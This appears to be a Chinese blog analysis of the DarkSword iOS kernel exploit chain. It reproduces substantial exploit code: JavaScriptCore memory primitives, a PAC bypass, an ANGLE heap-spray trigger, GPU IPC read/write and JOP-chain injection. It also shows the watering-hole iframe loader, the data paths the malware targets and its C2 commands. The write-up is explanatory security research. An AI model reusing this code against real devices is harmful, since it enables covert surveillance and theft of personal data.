分析一下最近的 iOS 内核级漏洞利用链 DarkSword
TL;DR
DarkSword 是由谷歌威胁情报小组于 2026 年 3 月 18 日公布的 iOS 漏洞利用链。它可以影响 iOS 18.4 ~ 18.7 的任意版本,利用了 6 个 CVE。
这个漏洞威胁性极大,因为它可以直接获取内核级别的权限,从而实现对任意文件和硬件的读写。它能够获取需要 Face ID 验证后才能获取的 Wi-Fi 密码、私密相册、保存的所有密码(Keychain 钥匙链)、iCloud 云盘文件等信息,以及激活麦克风等硬件进行录音。用户在此期间不会收到任何提示,包括设备右上角的麦克风指示 「橙色圆点」 也不会显示。
而且,这个漏洞由纯 JavaScript 编写,全程在浏览器中执行,不留下文件痕迹。因此,很难检测设备是否遭到过感染,并且极易被利用。用户只需打开一个网址,无需点击任何按钮,就会自动上传设备的敏感信息到恶意服务器。目前漏洞的完整代码已被公布,可能会被经验丰富的黑客进行二次利用。
所有漏洞均已在 iOS 26.3 版本中修复。如果启用了锁定模式,也可以避免受到攻击。
DarkSword 能够访问什么信息?
DarkSword 可以访问设备中的 Keychain 钥匙串信息。在公开的工具包代码中,可以看到多个预定义的位置,用于获取钥匙串信息。
// Keychain/Keybag files copied to /tmp by keychain_copier.js (running in configd)
{ path: "/tmp/keychain-2.db", category: "keychain", description: "Keychain database (copied)" },
{ path: "/tmp/persona.kb", category: "keybag", description: "Persona keybag" },
{ path: "/tmp/usersession.kb", category: "keybag", description: "User session keybag" },
{ path: "/tmp/backup_keys_cache.sqlite", category: "keybag", description: "Backup keys cache" },
{ path: "/tmp/persona_private.kb", category: "keybag", description: "Persona keybag (private)" },
{ path: "/tmp/usersession_private.kb", category: "keybag", description: "User session keybag (private)" },
{ path: "/tmp/System.keybag", category: "keybag", description: "System keybag" },
{ path: "/tmp/Backup.keybag", category: "keybag", description: "Backup keybag" },
通过将 keychain_copier.js 注入到 configd 进程,攻击者能够直接提取 Keychain 中的密码信息,无需用户确认。
下面是攻击者能访问到的 Keychain 数据:
| 数据类型 | 位置 |
|---|---|
| WiFi 密码 | kSecClassGenericPassword, service=AirPort |
| 设备保存的密码 | kSecClassInternetPassword |
| 证书 | kSecClassCertificate |
| 密钥 | kSecClassKey |
| 身份 | kSecClassIdentity |
同时,它还会访问以下文件系统路径:
// Communications
{ path: "/private/var/mobile/Library/SMS/sms.db", category: "communications", description: "SMS/iMessage database" },
{ path: "/private/var/mobile/Library/CallHistoryDB/CallHistory.storedata", category: "communications", description: "Call history" },
{ path: "/private/var/mobile/Library/AddressBook/AddressBook.sqlitedb", category: "communications", description: "Contacts database" },
可被获取的通讯类信息包括 短信、通话记录、电话簿 等数据库。
// Browser Data
{ path: "/private/var/mobile/Library/Safari/History.db", category: "browser", description: "Safari history" },
{ path: "/private/var/mobile/Library/Safari/Bookmarks.db", category: "browser", description: "Safari bookmarks" },
{ path: "/private/var/mobile/Library/Cookies/Cookies.binarycookies", category: "browser", description: "Safari cookies" },
浏览器数据,包括 浏览历史、书签、Cookies。注意 Cookies 通常包含网站的登录状态。
// Location Data
{ path: "/private/var/mobile/Library/Caches/locationd/consolidated.db", category: "location", description: "Location history" },
{ path: "/private/var/mobile/Library/Caches/locationd/clients.plist", category: "location", description: "Location clients" },
位置信息。 注意 consolidated.db 通常存储了用户的所有位置轨迹,包括附近的基站和 Wi-Fi 信息。
// Personal Data
{ path: "/private/var/mobile/Library/Notes/notes.sqlite", category: "personal", description: "Notes database" },
{ path: "/private/var/mobile/Library/Calendar/Calendar.sqlitedb", category: "personal", description: "Calendar database" },
{ path: "/private/var/mobile/Media/PhotoData/Photos.sqlite", category: "personal", description: "Photos metadata" },
{ path: "/private/var/mobile/Library/Health/healthdb.sqlite", category: "personal", description: "Health database" },
个人信息,包括备忘录、日历、相册照片元数据、健康数据。
// Device Info
{ path: "/private/var/root/Library/Lockdown/data_ark.plist", category: "device", description: "Device identifiers" },
{ path: "/private/var/preferences/SystemConfiguration/preferences.plist", category: "device", description: "System preferences" },
设备信息, 包括设备及其账户持有人的信息和设置。data_ark.plist 实际存储了设备名称、设备激活时间、备份的 iTunes 电脑名称等信息,可以轻易地将设备与个人身份关联起来。
// Credentials - WiFi
{ path: "/private/var/preferences/SystemConfiguration/com.apple.wifi.plist", category: "credentials", description: "WiFi networks config" },
{ path: "/private/var/preferences/SystemConfiguration/com.apple.wifi-networks.plist.backup", category: "credentials", description: "WiFi networks backup" },
Wi-Fi 记录信息。
在代码中,可以看到对摄像头和麦克风的访问符号,意味着恶意程序可以在静默状态下访问摄像头和麦克风。
其实,考虑到恶意程序拥有内核级别的权限,静默访问任何硬件都非常容易,比如 GPS、加速度计、蓝牙等。同时,由于 iOS 的 「小橙点」 是由软件(即SpringBoard)渲染的,在获取内核权限后,禁用这些麦克风和摄像头提示也轻而易举。
部分指令
在恶意程序与 C2 服务器通信时,可以获取到部分指令,这些指令可能预示着 DarkSword 相关工具可以实现的功能。
| Command | Description |
|---|---|
| ChangeStatusCheckSleepInterval | 修改与 C2 服务器之间状态检查的休眠间隔时间 |
| SendDeviceInfo | 向 C2 服务器上传设备基础信息 |
| SendUserAccountsList | 向 C2 服务器上传设备上已登录账户的列表 |
| SendAppList | 向 C2 服务器上传已安装应用的列表 |
| SendCurrentLocation | 未直接实现 |
| ExecuteSqliteQuery | 对任意 SQLite 数据库执行 SQL 查询,并将结果上传至 C2 服务器 |
| UnwrapKey | 空操作(无实际功能) |
| SendScreenshot | 未直接实现 |
| SendWiFiInfo | 未直接实现 |
| SendThumbnails | 向 C2 服务器上传 iOS 照片应用中指定时间段内的缩略图 |
| SendApp | 向 C2 服务器上传指定已安装应用的全部文件 |
| RecordAudio | 未直接实现 |
| SendFiles | 向 C2 服务器上传任意文件列表 |
| SendRegEx | 向 C2 服务器上传路径匹配指定正则表达式模式的文件列表 |
| SendFileList | 向 C2 服务器上传指定目录下的递归文件列表及元数据 |
| EvalJs | 执行任意 JavaScript 代码片段,并将输出结果上传至 C2 服务器 |
攻击步骤
这个漏洞可以通过 水坑攻击(watering hole attack) 来利用。
水坑攻击的原理是,攻击者劫持流量大的正常网站,使其包含恶意代码,最终感染用户的设备。这个名称来源于大自然中的现象:某些捕食者会在水坑旁边伏击,等待那些在「安全区」喝水的动物。
if (!sessionStorage.getItem("uid") && isTouchScreen) {
sessionStorage.setItem("uid", '1');
const frame = document.createElement("iframe");
frame.src = "frame.html?" + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = "none";
document.body.appendChild(frame);
} else {
top.location.href = "red";
}
【图示1】Landing page snippet that loads frame.html (UNC6748, November 2025)
在本案例中,谷歌威胁情报小组早在 2025 年 11 月就观察到攻击者劫持了一个与 Snapchat 相关的网站。该网站包含了一段被混淆的代码,创建了一个指向 frame.html 的 iframe【图示1】。同时,它还设置了一个名为 uid 的 sessionStorage。团队认为这是为了防止重复感染用户。
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">document.write('<script defer=\"defer\" src=\"rce_loader.js\"\>\<\/script\>');</script>
</body>
</html>
【图示2】frame.html contents (UNC6748, November 2025)
frame.html 是一个简单的 HTML 文件【图示2】,它会动态注入一个新 script 标签,该标签会加载主漏洞利用加载器 rce_loader.js。
另外值得注意的是,为了感染 Chrome 用户,如果检测到非 Safari 浏览器,则会使用 x-safari-https 协议来强制用 Safari 打开。这表明这个漏洞暂时无法攻击非 Safari 浏览器。
if (typeof browser !== "undefined" || !isIphone()) {
console.log("");
} else {
location.href = "x-safari-https://snapshare.chat/<redacted>";
}
【图示3】Landing page code snippet showing x-safari-https use (UNC6748, November 2025)
第一阶段:rce_loader.js
在第一阶段,rce_loader.js 将对 iOS 版本进行检测,并通过 getJS() 这一自定义函数针对不同版本加载不同的 RCE worker。
同时它将创建一个 Web Worker 线程,以避免污染主线程。
const ios_version = (function() {
let version = /iPhone OS ([0-9_]+)/g.exec(navigator.userAgent)?.[1];
if (version) {
return version.split('_').map(part => parseInt(part));
}
})();
// 根据版本加载不同的漏洞利用
if(ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2')
workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`);
else
workerCode = getJS(`rce_worker_18.4.js?${Date.now()}`);
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);
const worker = new Worker(workerBlobUrl);
接下来,rce_worker.js 被加载。攻击者通过顺序利用不同的 CVE,实现从网页逃逸至 GPU 进程,再从 GPU 进程提权至内核的两次沙盒逃逸,最终能够以内核权限读取数据。
1.1 JavaScriptCore 内存损坏漏洞
涉及 CVE-2025-31277 和 CVE-2025-43529。
这两个漏洞都是 JavaScriptCore JIT 编译器中的类型混淆/垃圾回收漏洞。JIT 编译器是一个将 JavaScript 代码动态编译成机器代码的系统,它会进行各种优化。这些漏洞允许攻击者构造两个关键的内存操作:addrof 和 fakeobj。
addrof(address of)能够读取任意 JavaScript 对象在内存中的真实地址。
fakeobj(fake object)能够根据内存地址伪造出一个 JavaScript 对象,使得程序认为这个地址处存放的数据是一个真实的对象。
p.addrof = function addrof(o) {
boxed_arr[0] = o; // 将对象放入 boxed 数组(存放对象指针的数组)
return BigInt.fromDouble(unboxed_arr[0]); // 读取 unboxed 数组中的对应位置
}
p.fakeobj = function fakeobj(addr) {
unboxed_arr[0] = addr.asDouble(); // 将地址写入 unboxed 数组(存放浮点数的数组)
return boxed_arr[0]; // 读取 boxed 数组中的对应位置,得到伪造对象
}
这个漏洞的核心在于数组类型混淆。在 JavaScript 中,数组可以存放不同类型的数据。boxed_arr 被设计用来存放对象指针(为 64 位),而 unboxed_arr 被设计用来存放浮点数(同为 64 位)。
关键的是,这两个数组在内存中指向同一块数据区域。当向 boxed_arr[0] 写入一个对象时,这个对象的指针(一个 64 位的内存地址)被写入到内存中。同时,unboxed_arr[0] 指向内存中的同一位置。
JavaScriptCore 的 JIT 编译器在优化代码时,会假设 boxed_arr 中存放的始终是对象指针,而 unboxed_arr 中存放的始终是浮点数。但实际上由于这两个数组共享内存,当向 boxed_arr[0] 写入一个对象指针后,再从 unboxed_arr[0] 读取时,JIT 编译器会错误地将这个 64 位的对象指针解释为一个浮点数。这就是类型混淆。
反过来,如果向 unboxed_arr[0] 写入一个浮点数(实际上是一个地址),再从 boxed_arr[0] 读取,JIT 编译器会将这个 64 位的数据解释为一个对象指针,从而创建一个伪造的对象。
1.2 构造任意读写
基于 addrof 和 fakeobj,就能够构造任意的 64 位读写。这是关键的一步,因为有了任意读写能力,攻击者就可以修改系统内存中的任何数据。
p.write64 = function (addr, value) {
change_scribble[0] = original_cell;
change_scribble[1] = (addr + 0x10n).asDouble(); // 设置目标地址
if (value === 0n) {
scribble_element.p3 = 1;
delete scribble_element.p3; // 触发垃圾回收,清零
} else if (value < 0x2000000000000n) {
scribble_element.p3 = p.fakeobj(value); // 直接写入
} else {
// 处理大值:分两个 32 位写入
let [hi, lo] = value.asUint32Pair();
scribble_element.p3 = hi;
change_scribble[1] = (addr + 0x14n).asDouble();
scribble_element.p3 = lo;
}
};
p.read64 = function (addr) {
read64_biguint64arr[1] = addr; // 设置读取地址
// 通过字符串读取内存
return BigInt(read64_str.charCodeAt(0)) |
BigInt(read64_str.charCodeAt(1)) << 16n |
BigInt(read64_str.charCodeAt(2)) << 32n |
BigInt(read64_str.charCodeAt(3)) << 48n;
};
read64 函数 从内存中的任意地址读取 8 个字节(64 位)的数据。首先,它将目标地址写入到 read64_biguint64arr[1]。这个数组是被精心构造的,修改它会间接修改内部数据结构,指向我们想要读取的内存地址。
然后,它通过一个字符串对象 read64_str 来读取数据。这个字符串对象的内部指针已经被修改为指向目标地址,所以当代码读取字符串的字符时,实际上是在读取目标内存地址处的数据。
通过 charCodeAt() 逐个读取字符(每个字符 16 位),然后将这些 16 位的数据组合成一个 64 位的数值。
write64 函数 向内存中的任意地址写入 8 个字节(64 位)的数据。首先,设置 change_scribble[1] 为目标地址。这个数组同样经过复杂的构造,使得修改它会改变某个对象的内部指针。
如果要写入的值是 0,它会通过创建和删除对象属性 p3 来触发垃圾回收,从而将目标地址处的内存清零。
如果要写入的值较小(小于 0x2000000000000),它会直接使用 fakeobj 创建一个伪造对象,然后将这个伪造对象的指针写入到目标地址。
如果要写入的值很大,它会将 64 位的值分成两个 32 位的部分,分别进行两次写入操作。
1.3 绕过 dyld PAC
涉及 CVE-2026-20700。
PAC(Pointer Authentication Codes)是 ARM64 架构中的一种安全机制。每个函数指针都被附加一个签名(通常是 33 位),用来验证这个指针是否被篡改过。如果指针被修改,签名就会失效,CPU 会拒绝执行这个指针指向的代码。
CVE-2026-20700 是 dyld(动态链接库加载器)中的 PAC 验证绕过漏洞。
BigInt.prototype.noPAC = function () {
return this & 0x7fffffffffn; // 清除 PAC 位(高 33 位)
};
// 禁用 JIT 允许列表,使得后续代码可以在 JIT 中执行
p.write64(offsets.JavaScriptCore__jitAllowList_once, 0xffffffffffffffffn);
p.write64(offsets.JavaScriptCore__jitAllowList + 8n, 1n);
JavaScriptCore 维护一个 JIT 允许列表,其中列出了哪些代码区域可以被 JIT 编译器执行。
使用之前构造的 write64 函数,向这个列表的特定位置写入 0xffffffffffffffff,从而使 JIT 编译器认为所有代码区域都是允许的,然后就不会对即将执行的代码进行 PAC 签名验证,从而允许执行任意代码。
这为后续的 dlopen、dlsym 调用(用来加载和调用系统库中的函数)做好了准备。
第二阶段:由网页逃逸至 GPU 进程
2.1 ANGLE WebGL 漏洞
涉及 CVE-2025-14174。
ANGLE 是 WebGL 的实现层,它将 WebGL 命令翻译成底层图形 API。CVE-2025-14174 是 ANGLE 中的参数验证不足漏洞,它会导致内存的越界操作。
具体来说,当我们的程序上传纹理数据到 GPU 时,ANGLE 需要计算数据在内存中的布局。如果程序提供的参数(如纹理高度、像素步长等)与实际上传的数据大小不匹配,ANGLE 就可能会读取或写入超过缓冲区边界的内存。
function oob() {
LOG(`oob()`);
const width = 1;
const height = 0x200; // 大高度
const smaller_height = 0x200 / 4; // 小高度
// 设置 GL_UNPACK_IMAGE_HEIGHT 为较小值
RemoteGraphicsContextGL_PixelStorei(GL_UNPACK_IMAGE_HEIGHT, smaller_height);
const data32 = new Uint32Array(0x400);
// 填充特定值用于堆喷
data32.fill(0xaac7ab, 0x80);
const data = new Uint8Array(data32.buffer);
// 创建像素缓冲
const pixelUnpackBuffer = glObjectIndex++;
RemoteGraphicsContextGL_CreateBuffer(pixelUnpackBuffer);
RemoteGraphicsContextGL_BindBuffer(GL_PIXEL_UNPACK_BUFFER, pixelUnpackBuffer);
RemoteGraphicsContextGL_BufferData1(GL_PIXEL_UNPACK_BUFFER, data, GL_STATIC_DRAW);
// 堆喷,创建特定大小的缓冲
sprayBuffers(3, 0x100);
sprayBuffers(0x1d - 1, 0x1000);
// TexImage2D 会使用错误的 GL_UNPACK_IMAGE_HEIGHT 值
// 导致读取超过缓冲区边界
for (let i = 0; i < 12; i++) {
texImage2D1(GL_DEPTH_COMPONENT32F, GL_DEPTH_COMPONENT, GL_FLOAT, width, height);
}
// 最终触发
RemoteGraphicsContextGL_TexImage2D1(GL_TEXTURE_2D, 0, GL_DEPTH_COMPONENT32F,
width, height, 0, GL_DEPTH_COMPONENT,
GL_FLOAT, 0n);
RemoteImageBuffer_PutPixelBuffer(imageBufferIdentifiers[0], 0x20, 0x80);
// 触发越界写
if (!texImage2D1(GL_DEPTH_COMPONENT32F, GL_DEPTH_COMPONENT, GL_FLOAT,
0x20, 0x20, timeout = crash_timeout)) {
return false;
}
return true;
}
首先,上面的代码设置 GL_UNPACK_IMAGE_HEIGHT 为 smaller_height(0x80),但实际上传的纹理高度为 height(0x200)。
当 ANGLE 处理纹理上传时,它使用 GL_UNPACK_IMAGE_HEIGHT 来计算每行像素数据在缓冲区中的偏移。由于设置的高度太小,ANGLE 会计算出错误的偏移量,导致它会从缓冲区中读取超过实际数据范围的内存。
接着,通过 sprayBuffers 函数,攻击者创建了一定数量的特定大小的缓冲区。这些缓冲区被放置在 GPU 进程的堆内存中,其结构被精心设计,这样攻击者就可以进行越界的内存写入。
2.2 读写 GPU 进程内存
攻击者攻破了 GPU 进程后,必须建立与 GPU 进程的通信通道,以便从网页进程远程读写 GPU 进程的内存。
function gpu_slow_read64(addr) {
// 通过 VertexAttrib4f 消息设置读取地址
// VertexAttrib4f 是一个 WebGL 命令,用来设置顶点属性
glConnection.sendOutOfStreamMessageAndWait(
new Encoder(MessageName.RemoteGraphicsContextGL_VertexAttrib4f, glConnection.identifier)
.encode('uint32_t', 0)
.encode('uint32_t', Number(addr & 0xffffffffn)) // 地址的低 32 位
.encode('uint32_t', Number(addr >> 32n)) // 地址的高 32 位
.encode('float', 0)
.encode('float', 0)
);
// 通过 GetBufferSubDataInline 读取数据
// 这个命令会从 GPU 进程中读取缓冲区数据
const replyID = nextIdentifier();
glConnection.sendOutOfStreamMessageAndWait(
new Encoder(MessageName.RemoteGraphicsContextGL_GetBufferSubDataInline, glConnection.identifier)
.encode('uint64_t', replyID)
.encode('uint32_t', GL_ARRAY_BUFFER)
.encode('uint64_t', 0n) // 从缓冲区的第 0 字节开始
.encode('uint64_t', 8n) // 读取 8 字节
);
// 等待 GPU 进程的回复,并解析返回的数据
const decoder = glConnection.receiveSyncReply(replyID);
const size = decoder.decode('uint64_t');
const data = decoder.decode('uint64_t');
return data;
}
function copy_to_gpu(addr, buffer) {
// 通过 BufferSubData 命令向 GPU 进程写入数据
glConnection.sendOutOfStreamMessageAndWait(
new Encoder(MessageName.RemoteGraphicsContextGL_BufferSubData, glConnection.identifier)
.encode('uint32_t', GL_ARRAY_BUFFER)
.encode('uint64_t', 0n) // 从缓冲区的第 0 字节开始
.encode('uint64_t', BigInt(buffer.byteLength)) // 写入数据的大小
.encode('bytes', buffer) // 实际的数据内容
);
}
gpu_slow_read64 函数
这个函数通过 VertexAttrib4f 消息向 GPU 进程发送一个地址。这个消息被 GPU 进程接收后,会修改 GPU 进程内某个内部数据结构,使其指向我们想要读取的内存地址。
然后,通过 GetBufferSubDataInline 消息请求 GPU 进程读取缓冲区的前 8 字节。由于缓冲区的指针已经被修改为指向目标地址,所以 GPU 进程实际上会读取目标地址处的 8 字节数据。
GPU 进程将读取的数据通过 IPC 消息发送回网页进程,网页进程解析这个消息并提取数据。
copy_to_gpu 函数
这个函数通过 BufferSubData 消息向 GPU 进程发送数据。GPU 进程接收这个消息后,会将数据写入到缓冲区中。由于缓冲区的指针已经被精心设计,这个写入操作就会修改 GPU 进程内存中的任意位置。
第三阶段:从受限的 GPU 进程逃逸到有特权的 mediaplaybackd 进程
XNU 内存管理漏洞
涉及 CVE-2025-43510。
现在,虽然程序已经能够在 GPU 进程中上天入地,但 GPU 进程同样位于浏览器沙箱,权限依旧是受限的。接下来,攻击者要从 GPU 进程逃逸到沙箱外操作系统的特权进程中。这里,目标进程是 mediaplaybackd。
Copy-on-Write 是一种内存管理技术。当多个进程共享同一块内存时,只要没有进程修改这块内存,它们就共享同一份物理内存。一旦某个进程尝试修改,操作系统会为这个进程创建一份副本,这样修改就不会影响其他进程。
CVE-2025-43510 是 XNU(iOS 的内核)中 CoW 机制的竞态条件漏洞。在特定的时间窗口内,攻击者可以利用这个竞态条件来获得任意函数调用原语(arbitrary function call primitive),即能够调用系统中任意地址的代码的能力。
具体来说,AppleM2ScalerCSCDriver 驱动程序在处理 selector 1 操作时,对 CoW 机制的锁状态检查不完善,导致恶意代码可以修改本应该是锁定状态下的共享内存。
function gpu_slow_pacia(ptr, ctx) {
// 通过 GPU 进程调用 pacia 指令
// pacia 是 ARM64 的指针签名指令,用来给指针添加 PAC 签名
return gpu_slow_fcall(offsets.dyld__signPointer, ptr, ctx);
}
function gpu_slow_pacib(ptr, ctx) {
// 通过 GPU 进程调用 pacib 指令
// pacib 是另一个 ARM64 的指针签名指令
return gpu_slow_fcall(offsets.dyld__signPointer, ptr, ctx);
}
首先,在 GPU 进程中找到 dyld_emptySlot 的地址。这是动态链接库加载器中的一个特殊位置,通常用于存放函数指针。然后使用之前构造的 gpu_slow_read64 函数来读取内存。
C++ 对象使用虚表来存放指向虚函数的指针。攻击者通过任意写修改某个对象的虚表指针,使其指向攻击者控制的内存区域。当程序调用这个对象的虚函数时,实际上会执行攻击者控制的代码。
接着,攻击者可以构造 JOP gadget 链,也就是在现有的系统代码中寻找有用的 gadget 代码片段,这些片段通常以 jmp 或 ret 指令结尾。通过精心安排这些 gadget 的执行顺序,攻击者可以实现任意的计算,包括调用任意函数。
使用构造的任意函数调用,攻击者调用 dlopen 函数来加载 TextToSpeech 框架。加载这个框架会触发 iOS 系统启动 mediaplaybackd 进程(媒体播放守护进程)。
第四阶段:由 mediaplaybackd 提权至内核
4.1 XNU VFS 竞态条件
VFS(Virtual File System)是操作系统中负责管理文件系统的子系统。
与上一部分的 XNU 漏洞利用原理相同,通过在特定的时间窗口内进行特定的文件操作序列,攻击者可以构造物理/虚拟内存读写原语,最终获得内核权限。
let MACH_VM_ALLOCATE = func_resolve("mach_vm_allocate");
let MACH_VM_DEALLOCATE = func_resolve("mach_vm_deallocate");
let MACH_MAKE_MEMORY_ENTRY_64 = func_resolve("mach_make_memory_entry_64");
let MACH_VM_MAP = func_resolve("mach_vm_map");
function mach_vm_allocate(...args) {
// 在特权进程的虚拟地址空间中分配内存
return fcall(MACH_VM_ALLOCATE, ...args);
}
function mach_vm_deallocate(...args) {
// 释放之前分配的内存
return fcall(MACH_VM_DEALLOCATE, ...args);
}
可以看到,这些函数是 Mach 内核 API 的包装器。Mach 是 XNU 内核的微内核层,提供了一些低级的系统调用。
mach_vm_allocate
在进程的虚拟地址空间中分配一块内存。
mach_vm_deallocate
释放之前分配的内存。
mach_make_memory_entry_64
创建一个内存条目。这是一个特殊的对象,可以用来在进程间共享内存。
mach_vm_map
将一块内存映射到进程的虚拟地址空间。
通过精心使用这些 API,攻击者可以在特权进程中创建特定的内存布局,从而利用 CVE-2025-43520 来获得内核权限。
4.2 JSContext 注入和 JOP 链构造
接下来,攻击者在 mediaplaybackd 特权进程中创建一个 JSContext(JavaScript 执行环境)。然后,通过修改 JavaScript 引擎的内部函数指针,攻击者可以构造一个 JOP gadget 链,从而实现任意函数调用。
function js_thread_spawn(js_script_nsstring, target_thread_arg = 0x0n) {
// 创建 JSContext
// JSContext 是 JavaScriptCore 中的一个对象,代表一个 JavaScript 执行环境
let ctx = objc_alloc_init(jsc_class);
// 获取 isNaN 函数的地址
// isNaN 是 JavaScript 中的一个内置函数,用来检查一个值是否为 NaN
let isnan_value = objectForKeyedSubscript(ctx, cfstr_isNaN);
// 从 isNaN 函数对象中读取指向实际函数代码的指针
let isnan_func_addr = uread64(isnan_value + 0x8n);
// 从函数对象中读取指向可执行代码的指针
let isnan_executable_addr = uread64(isnan_func_addr + 0x18n);
// 计算指向代码指针的地址
let isnan_code_ptr = isnan_executable_addr + 0x28n;
// 执行 stage1 JavaScript 代码,建立内存读写原语
// 这段代码会在 JSContext 中运行,创建 boxed_arr 和 unboxed_arr
evaluateScript(ctx, stage1_js);
// 获取 boxed/unboxed 数组
// 这些数组是在 stage1_js 中创建的,用于实现内存读写
let unboxed_arr_value = objectForKeyedSubscript(ctx, cfstr_unboxed_arr);
let unboxed_arr_addr = uread64(unboxed_arr_value + 0x8n);
let boxed_arr_value = objectForKeyedSubscript(ctx, cfstr_boxed_arr);
let boxed_arr_addr = uread64(boxed_arr_value + 0x8n);
let boxed_arr_butter = uread64(boxed_arr_addr + 0x8n);
// 建立类型混淆
// 修改 unboxed_arr 的内部指针,使其指向 boxed_arr 的数据区域
uwrite64(unboxed_arr_addr + 0x8n, boxed_arr_butter);
// 构造 JOP 链
// JOP 链是一系列代码片段的地址,这些片段会依次执行,最终实现任意函数调用
let jop_chain_info = setup_fcall_jopchain();
let jsvm_fcall_buff = jop_chain_info["jsvm_fcall_buff"];
let jsvm_fcall_pc = jop_chain_info["jsvm_fcall_pc"];
// 修改 isNaN 函数指针指向 JOP 链
// 首先,对 JOP 链的地址进行 PAC 签名,使其通过 CPU 的签名验证
let signed_fcall_addr = pacib(jsvm_isNAN_fcall_gadget, signing_ctx);
// 然后,将这个签名后的地址写入到 isNaN 函数的代码指针位置
uwrite64(isnan_code_ptr, signed_fcall_addr);
// 通过 NSThread 在目标进程中执行
// NSThread 是 Objective-C 中的线程类
let nsthread = objc_alloc(nsthread_class);
// 初始化线程,使其在启动时调用 evaluateScript_invocation
initWithTarget_selector_object(nsthread, evaluateScript_invocation, selector_invoke, 0n);
// 启动线程
nsthread_start(nsthread);
return { "thread_handle": nsthread, "js_ctx": ctx, "jop_chain_info": jop_chain_info };
}
这个函数实现了一个复杂的攻击。首先,攻击者在 mediaplaybackd 特权进程中创建了 JSContext,也就是 JavaScript 执行环境。
接着,函数从 JSContext 中获取 isNaN 函数对象,并通过读取对象的内部字段,逐步找到指向实际函数代码的指针(isnan_code_ptr)。
随后,函数在 JSContext 中执行一段 JavaScript 代码(stage1_js),这段代码会创建 boxed_arr 和 unboxed_arr。通过修改这两个数组的内部指针,建立类型混淆,从而在特权进程中获得任意内存读写能力。
接着攻击者开始构造 JOP 链。首先调用 setup_fcall_jopchain() 函数来构造一个 JOP gadget 链。这个链会被放置在内存中的某个位置(jsvm_fcall_buff),其入口点是 jsvm_fcall_pc。
随后修改 isNaN 的函数指针。先对 JOP 链的地址进行 PAC 签名,使其通过 ARM64 CPU 的签名验证。然后将这个签名后的地址写入到 isNaN 函数的代码指针位置。
这样,当 JavaScript 代码调用 isNaN 函数时,CPU 实际上会跳转到 JOP 链的入口点。
最后一步,执行 JOP 链。创建一个新的线程,并在这个线程中调用 isNaN 函数,从而触发 JOP 链的执行。JOP 链会依次执行一系列代码片段,最终实现任意函数调用。
同时,攻击者会定期删除所有 iOS 系统崩溃日志,以隐藏漏洞利用的痕迹。
Google 威胁情报小组制作了一个感染链图示,可以帮助读者更好地理解 DarkSword 是如何通过多个 CVE 最终实现内核级 RCE 的。
作者:茶味年糕
浙公网安备 33010602011771号